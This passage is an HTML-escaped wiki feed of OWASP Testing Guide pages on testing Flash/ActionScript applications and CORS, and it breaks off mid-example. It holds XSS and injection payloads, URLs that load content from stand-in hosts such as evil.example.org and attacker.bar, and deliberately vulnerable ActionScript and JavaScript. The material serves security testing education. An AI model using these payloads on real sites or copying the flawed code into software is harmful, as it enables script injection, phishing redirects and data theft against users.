ActionScript is the language, based on ECMAScript, used by Flash applications when dealing with interactive needs. There are three versions of the ActionScript language.  ActionScript 1.0 and ActionScript 2.0 are very similar with ActionScript 2.0 being an extension of ActionScript 1.0. ActionScript 3.0, introduced with Flash Player 9, is a rewrite of the language to support object orientated design. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ActionScript, like every other language, has some implementation patterns which could lead to security issues. In particular, since Flash applications are often embedded in browsers, vulnerabilities like DOM based Cross-Site Scripting (XSS) could be present in flawed Flash applications.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test == &lt;br /&gt;
Since the first publication of &amp;quot;Testing Flash Applications&amp;quot; [1], new versions of Flash player &lt;br /&gt;
were released in order to mitigate some of the attacks which will be described.&lt;br /&gt;
Nevertheless, some issues still remain exploitable because they are the result of insecure&lt;br /&gt;
programming practices.&lt;br /&gt;
&lt;br /&gt;
=== Decompilation ===&lt;br /&gt;
Since SWF files are interpreted by a virtual machine embedded in the player itself, &lt;br /&gt;
they can be potentially decompiled and analysed.&lt;br /&gt;
The most known and free ActionScript 2.0 decompiler is flare.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To decompile a SWF file with flare just type:&lt;br /&gt;
&lt;br /&gt;
 $ flare hello.swf&lt;br /&gt;
&lt;br /&gt;
it will result in a new file called hello.flr.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Decompilation helps testers because it allows for source code assisted, or white-box, testing of the Flash applications. HP's free SWFScan tool can decompile both ActionScript 2.0 and ActionScript 3.0 [https://h30406.www3.hp.com/campaigns/2009/wwcampaign/1-5TUVE/index.php?key=swf SWFScan]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The [http://www.owasp.org/index.php/Category:OWASP_Flash_Security_Project OWASP Flash Security Project] maintains a list of current disassemblers, decompilers and other Adobe Flash related testing tools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Undefined Variables FlashVars ===&lt;br /&gt;
&lt;br /&gt;
FlashVars are the variables that the SWF developer planned on receiving from the web page. FlashVars are typically passed in from the Object or Embed tag within the HTML.  For instance:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;object width=&amp;quot;550&amp;quot; height=&amp;quot;400&amp;quot; classid=&amp;quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&amp;quot;&lt;br /&gt;
codebase=&amp;quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;param name=&amp;quot;movie&amp;quot; value=&amp;quot;somefilename.swf&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;param name=&amp;quot;FlashVars&amp;quot; value=&amp;quot;var1=val1&amp;amp;var2=val2&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;embed src=&amp;quot;somefilename.swf&amp;quot; width=&amp;quot;550&amp;quot; height=&amp;quot;400&amp;quot; FlashVars=&amp;quot;var1=val1&amp;amp;var2=val2&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/embed&amp;gt;&lt;br /&gt;
&amp;lt;/object&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
FlashVars can also be initialized from the URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  http://www.example.org/somefilename.swf?var1=val1&amp;amp;var2=val2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In ActionScript 3.0, a developer must explicitly assign the FlashVar values to local variables. Typically,&lt;br /&gt;
this looks like:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;&lt;br /&gt;
 var var1:String = String(paramObj[&amp;quot;var1&amp;quot;]);&lt;br /&gt;
 var var2:String = String(paramObj[&amp;quot;var2&amp;quot;]);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In ActionScript 2.0, any uninitialized global variable is assumed to be a FlashVar. Global variables are&lt;br /&gt;
those variables that are prepended by _root, _global or _level0.  This means that if an attribute like:&lt;br /&gt;
&lt;br /&gt;
 _root.varname &lt;br /&gt;
&lt;br /&gt;
is undefined throughout the code flow, it could be overwritten by setting&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 http://victim/file.swf?varname=value&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Regardless of whether you are looking at ActionScript 2.0 or ActionScript 3.0, FlashVars can be a vector of attack.  Let's look at some ActionScript 2.0 code that is vulnerable:&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  movieClip 328 __Packages.Locale {&lt;br /&gt;
&lt;br /&gt;
    #initclip&lt;br /&gt;
      if (!_global.Locale) {&lt;br /&gt;
        var v1 = function (on_load) {&lt;br /&gt;
          var v5 = new XML();&lt;br /&gt;
          var v6 = this;&lt;br /&gt;
          v5.onLoad = function (success) {&lt;br /&gt;
            if (success) {&lt;br /&gt;
              trace('Locale loaded xml');&lt;br /&gt;
              var v3 = this.xliff.file.body.$trans_unit;&lt;br /&gt;
              var v2 = 0;&lt;br /&gt;
              while (v2 &amp;lt; v3.length) {&lt;br /&gt;
                Locale.strings[v3[v2]._resname] = v3[v2].source.__text;&lt;br /&gt;
                ++v2;&lt;br /&gt;
              }&lt;br /&gt;
              on_load();&lt;br /&gt;
            } else {}&lt;br /&gt;
          };&lt;br /&gt;
          if (_root.language != undefined) {&lt;br /&gt;
            Locale.DEFAULT_LANG = _root.language;&lt;br /&gt;
          }&lt;br /&gt;
          v5.load(Locale.DEFAULT_LANG + '/player_' +&lt;br /&gt;
                              Locale.DEFAULT_LANG + '.xml');&lt;br /&gt;
        };&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The above code could be attacked by requesting:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 http://victim/file.swf?language=http://evil.example.org/malicious.xml?&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Unsafe Methods ===&lt;br /&gt;
When an entry point is identified, the data it represents could be used by unsafe methods. If the data is not filtered/validated using the right regexp it could lead to some security issue.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Unsafe Methods since version r47 are:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
loadVariables()&lt;br /&gt;
loadMovie()&lt;br /&gt;
getURL()&lt;br /&gt;
loadMovie()&lt;br /&gt;
loadMovieNum()&lt;br /&gt;
FScrollPane.loadScrollContent()&lt;br /&gt;
LoadVars.load &lt;br /&gt;
LoadVars.send &lt;br /&gt;
XML.load ( 'url' )&lt;br /&gt;
LoadVars.load ( 'url' ) &lt;br /&gt;
Sound.loadSound( 'url' , isStreaming ); &lt;br /&gt;
NetStream.play( 'url' );&lt;br /&gt;
&lt;br /&gt;
flash.external.ExternalInterface.call(_root.callback)&lt;br /&gt;
&lt;br /&gt;
htmlText&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== The Test ===&lt;br /&gt;
In order to exploit a vulnerability, the swf file should be hosted on the victim's host, and the techniques of reflected XSS must be used. That is forcing the browser to load a pure swf file directly in the location bar (by redirection or social engineering) or by loading it through an iframe from an evil page:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;iframe src='http://victim/path/to/file.swf'&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is because in this situation the browser will self-generate an HTML page as if it were hosted by the victim host.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== XSS  ===&lt;br /&gt;
&lt;br /&gt;
'''GetURL (AS2) / NavigateToURL (AS3):'''&lt;br /&gt;
&lt;br /&gt;
The GetURL function in ActionScript 2.0 and NavigateToURL in ActionScript 3.0 lets the movie load a URI into the browser's window. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So if an undefined variable is used as the first argument for getURL:&lt;br /&gt;
&lt;br /&gt;
 getURL(_root.URI,'_targetFrame');&lt;br /&gt;
&lt;br /&gt;
Or if a FlashVar is used as the parameter that is passed to a navigateToURL function:&lt;br /&gt;
&lt;br /&gt;
 var request:URLRequest = new URLRequest(FlashVarSuppliedURL);  &lt;br /&gt;
 navigateToURL(request);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Then this will mean it's possible to call JavaScript in the same domain where the movie is hosted by &lt;br /&gt;
requesting:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 http://victim/file.swf?URI=javascript:evilcode&lt;br /&gt;
&lt;br /&gt;
 getURL('javascript:evilcode','_self');&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The same when only some part of getURL is controlled:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 Dom Injection with Flash JavaScript injection&lt;br /&gt;
 &lt;br /&gt;
	getUrl('javascript:function('+_root.arg+')) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''asfunction:'''&lt;br /&gt;
&lt;br /&gt;
You can use the special asfunction protocol to cause the link to execute an ActionScript function in a SWF file instead of opening a URL. Until release Flash Player 9 r48 asfunction could be used on every method which has a URL as an argument.  After that release, asfunction was restricted to use within an HTML TextField.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This means that a tester could try to inject:&lt;br /&gt;
&lt;br /&gt;
 asfunction:getURL,javascript:evilcode&lt;br /&gt;
&lt;br /&gt;
in every unsafe method like:&lt;br /&gt;
&lt;br /&gt;
 loadMovie(_root.URL)&lt;br /&gt;
&lt;br /&gt;
by requesting:&lt;br /&gt;
&lt;br /&gt;
 http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''ExternalInterface:'''&lt;br /&gt;
&lt;br /&gt;
ExternalInterface.call is a static method introduced by Adobe to improve player/browser interaction for both ActionScript 2.0 and ActionScript 3.0.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From a security point of view it could be abused when part of its argument could be controlled:&lt;br /&gt;
&lt;br /&gt;
 flash.external.ExternalInterface.call(_root.callback);&lt;br /&gt;
 &lt;br /&gt;
the attack pattern for this kind of flaw should be something like the following:&lt;br /&gt;
 eval(evilcode)&lt;br /&gt;
&lt;br /&gt;
since the internal JavaScript which is executed by the browser will be something similar to:&lt;br /&gt;
&lt;br /&gt;
 eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { &amp;quot;&amp;lt;undefined/&amp;gt;&amp;quot;; }')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== HTML Injection ===&lt;br /&gt;
&lt;br /&gt;
TextField Objects can render minimal HTML by setting:&lt;br /&gt;
&lt;br /&gt;
 tf.html = true&lt;br /&gt;
 tf.htmlText = '&amp;lt;tag&amp;gt;text&amp;lt;/tag&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So if some part of text could be controlled by the tester, an A tag or an IMG tag could be injected resulting in modifying the GUI or XSS the browser.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Some attack examples with A Tag:&lt;br /&gt;
&lt;br /&gt;
* Direct XSS: &amp;lt;a href='javascript:alert(123)' &amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Call a function: &amp;lt;a href='asfunction:function,arg' &amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Call SWF public functions: &lt;br /&gt;
    &amp;lt;a href='asfunction:_root.obj.function, arg'&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Call native static as function:&lt;br /&gt;
&amp;lt;a href='asfunction:System.Security.allowDomain,evilhost' &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
IMG tag could be used as well:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src='http://evil/evil.swf' &amp;gt;&lt;br /&gt;
 &amp;lt;img src='javascript:evilcode//.swf' &amp;gt; (.swf is necessary to bypass flash player internal filter)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note: since release Flash Player 9.0.124.0 of Flash player XSS is no longer exploitable, but GUI modification could still &lt;br /&gt;
be accomplished.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Cross-Site Flashing ===&lt;br /&gt;
&lt;br /&gt;
Cross-Site Flashing (XSF) is a vulnerability which has a similar impact as XSS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
XSF Occurs when from different domains:&lt;br /&gt;
&lt;br /&gt;
* One Movie loads another Movie with loadMovie* functions or other hacks and has access to the same sandbox or part of it&lt;br /&gt;
* XSF could also occurs when an HTML page uses JavaScript to command an Adobe Flash movie, for example, by calling:&lt;br /&gt;
** GetVariable: access to flash public and static object from JavaScript as a string.&lt;br /&gt;
** SetVariable: set a static or public flash object to a new  string value from JavaScript. &lt;br /&gt;
* Unexpected Browser to SWF communication could result in stealing data from the SWF application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It could be performed by forcing a flawed SWF to load an external evil flash file. This attack could result in XSS or in the modification of the GUI in order to fool a user to insert credentials on a fake flash form. XSF could be used in the presence of Flash HTML Injection or external SWF files when loadMovie* methods are used.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Open redirectors ===&lt;br /&gt;
&lt;br /&gt;
SWFs have the capability to navigate the browser.  If the SWF takes the destination in as a FlashVar, then the SWF may be used as an open redirector.  An open redirector is any piece of website functionality on a trusted website that an attacker can use to redirect the end-user to a malicious website.  These are frequently used within phishing attacks.  Similar to cross-site scripting, the attack involves a user clicking on a malicious link.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the Flash case, the malicious URL might look like:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   http://trusted.example.org/trusted.swf?getURLValue=http://www.evil-spoofing-website.org/phishEndUsers.html&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the above example, an end-user might see the URL begins with their favorite trusted website and click on it.  The link would load the trusted SWF which takes the getURLValue and provides it to an ActionScript browser navigation call:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  getURL(_root.getURLValue,&amp;quot;_self&amp;quot;);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This would navigate the browser to the malicious URL provided by the attacker.  At this point, the phisher has successfully leveraged the trusted the user has in trusted.example.org to trick the user into their malicious website.  From their, they could launch a 0-day, conduct spoofing of the original website, or any other type of attack.  SWFs may unintentionally be acting as an open-redirector on the website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Developers should avoid taking full URLs as FlashVars.  If they only plan to navigate within their own website, then they should use relative URLs or verify that the URL begins with a trusted domain and protocol.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Attacks and Flash Player Version ===&lt;br /&gt;
&lt;br /&gt;
Since May 2007, three new versions of Flash player were released by Adobe. Every new version restricts some of the attacks previously described.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
| Attack         | asfunction | ExternalInterface | GetURL  | Html Injection | &lt;br /&gt;
| Player Version |&lt;br /&gt;
| v9.0 r47/48    |  Yes       |   Yes             | Yes     |     Yes        |&lt;br /&gt;
| v9.0 r115      |  No        |   Yes             | Yes     |     Yes        |&lt;br /&gt;
| v9.0 r124      |  No        |   Yes             | Yes     |     Partially  |&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting and Cross-Site Flashing are the expected results on a flawed SWF file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* Adobe SWF Investigator: http://labs.adobe.com/technologies/swfinvestigator/&lt;br /&gt;
&lt;br /&gt;
* SWFScan: http://h30499.www3.hp.com/t5/Following-the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/ba-p/5440167&lt;br /&gt;
&lt;br /&gt;
* SWFIntruder: https://www.owasp.org/index.php/Category:SWFIntruder&lt;br /&gt;
&lt;br /&gt;
* Decompiler – Flare: http://www.nowrap.de/flare.html&lt;br /&gt;
&lt;br /&gt;
* Compiler – MTASC: http://www.mtasc.org/&lt;br /&gt;
&lt;br /&gt;
* Disassembler – Flasm: http://flasm.sourceforge.net/&lt;br /&gt;
&lt;br /&gt;
* Swfmill – Convert Swf to XML and vice versa: http://swfmill.org/&lt;br /&gt;
&lt;br /&gt;
* Debugger Version of Flash Plugin/Player: http://www.adobe.com/support/flash/downloads.html&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP Flash Security Project: The OWASP Flash Security project has even more references than what is listed below: http://www.owasp.org/index.php/Category:OWASP_Flash_Security_Project&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Testing Flash Applications: A new attack vector for XSS and XSFlashing: http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt&lt;br /&gt;
&lt;br /&gt;
* Finding Vulnerabilities in Flash Applications: http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt&lt;br /&gt;
&lt;br /&gt;
* Adobe security updates with Flash Player 9,0,124,0 to reduce cross-site attacks: http://www.adobe.com/devnet/flashplayer/articles/flash_player9_security_update.html&lt;br /&gt;
&lt;br /&gt;
* Securing SWF Applications: http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html&lt;br /&gt;
&lt;br /&gt;
* The Flash Player Development Center Security Section: http://www.adobe.com/devnet/flashplayer/security.html&lt;br /&gt;
&lt;br /&gt;
* The Flash Player 10.0 Security Whitepaper: http://www.adobe.com/devnet/flashplayer/articles/flash_player10_security_wp.html&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=180325</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=180325"/>
				<updated>2014-08-08T13:36:39Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have an Origin header, that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish this goal, there are a few HTTP headers involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test == &lt;br /&gt;
&lt;br /&gt;
=== Origin &amp;amp; Access-Control-Allow-Origin ===&lt;br /&gt;
&lt;br /&gt;
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Method &amp;amp; Access-Control-Allow-Method ===&lt;br /&gt;
&lt;br /&gt;
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Headers &amp;amp; Access-Control-Allow-Headers ===&lt;br /&gt;
&lt;br /&gt;
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Allow-Credentials ===&lt;br /&gt;
&lt;br /&gt;
This header as part of a preflight request indicates that the final request can include user credentials.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Input validation ===&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility. This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could lead to code injection. Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Other headers ===&lt;br /&gt;
&lt;br /&gt;
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Black box testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing ===&lt;br /&gt;
&lt;br /&gt;
Check the HTTP headers in order to understand how CORS is used, in particular we should be very interested in the Origin header to learn which domains are allowed. Also, manual inspection of the JavaScript is needed to determine whether the code is vulnerable to code injection due to improper handling of user supplied input. Below are some examples:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Request (note the 'Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/test.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/CORSexample1.html&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Response (note the 'Access-Control-Allow-Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:57:53 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Content-Length: 4&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: application/xml&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2: Input validation issue, XSS with CORS:'''&lt;br /&gt;
&lt;br /&gt;
This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var req = new XMLHttpRequest();&lt;br /&gt;
&lt;br /&gt;
req.onreadystatechange = function() {&lt;br /&gt;
     if(req.readyState==4 &amp;amp;&amp;amp; req.status==200) {&lt;br /&gt;
          document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=req.responseText;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
req.open(&amp;quot;GET&amp;quot;,resource,true);&lt;br /&gt;
req.send();&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, a request like this will show the contents of the profile.php file:&lt;br /&gt;
&lt;br /&gt;
 http://example.foo/main.php#profile.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://example.foo/profile.php HTTP/1.1&lt;br /&gt;
Host: example.foo&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:20:48 GMT&lt;br /&gt;
Server: Apache/2.2.16 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.3.3-7+squeeze17&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 25&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, as there is no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:&lt;br /&gt;
&lt;br /&gt;
 http://example.foo/main.php#http://attacker.bar/file.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/file.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 19:00:32 GMT&lt;br /&gt;
